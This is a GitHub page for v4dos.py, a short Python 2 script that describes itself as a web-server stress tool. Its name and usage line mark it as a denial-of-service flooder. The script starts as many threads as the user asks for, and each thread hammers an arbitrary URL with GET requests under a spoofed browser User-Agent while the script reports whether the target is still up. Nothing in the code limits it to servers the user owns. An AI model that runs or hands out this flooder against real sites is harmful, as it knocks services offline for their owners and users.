-
Notifications
You must be signed in to change notification settings - Fork 4
/
v4dos.py
84 lines (69 loc) · 1.89 KB
/
v4dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__='al4r0'
import threading
import sys
import requests
import time
print '''
__ __ _ ___ ______ _______ _______
| | | || | | || | | || |
| |_| || |_| || _ || _ || _____|
| || || | | || | | || |_____
| ||___ || |_| || |_| ||_____ |
| | | || || | _____| |
|___| |___||______| |_______||_______|
[v4dos.py] Stress tool for your web server
'''
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
if len(sys.argv) >= 3:
url = sys.argv[1]
hilos = int(sys.argv[2])
activo = 1
estado = '+'
seg = 0
def conectar():
global url
global activo
global estado
while activo:
if activo == 0:
sys.exit()
raise
break
else:
try:
requests.get(url,timeout=8,headers=headers)
estado = '+'
except KeyboardInterrupt:
activo = 0
sys.exit()
except:
estado = '-'
def principal():
global hilos
threads = list()
for i in range(hilos):
conexion = threading.Thread(target=conectar)
threads.append(conexion)
conexion.start()
print "[Creating threads]\n"
principal()
while activo:
seg = seg + 1
try:
if (estado == '+'):
print " [Status] Online - " + str(seg) + " second/s",
else:
print " [Status] Offline - " + str(seg) + " second/s",
time.sleep(1)
sys.stdout.flush()
print "\r",
except KeyboardInterrupt:
activo = 0
print '\n\n[Closing threads]'
sys.exit()
except:
seg = seg + 1
else:
print "Use 'python v4Ddos.py \"http://<url>\" <threads>'"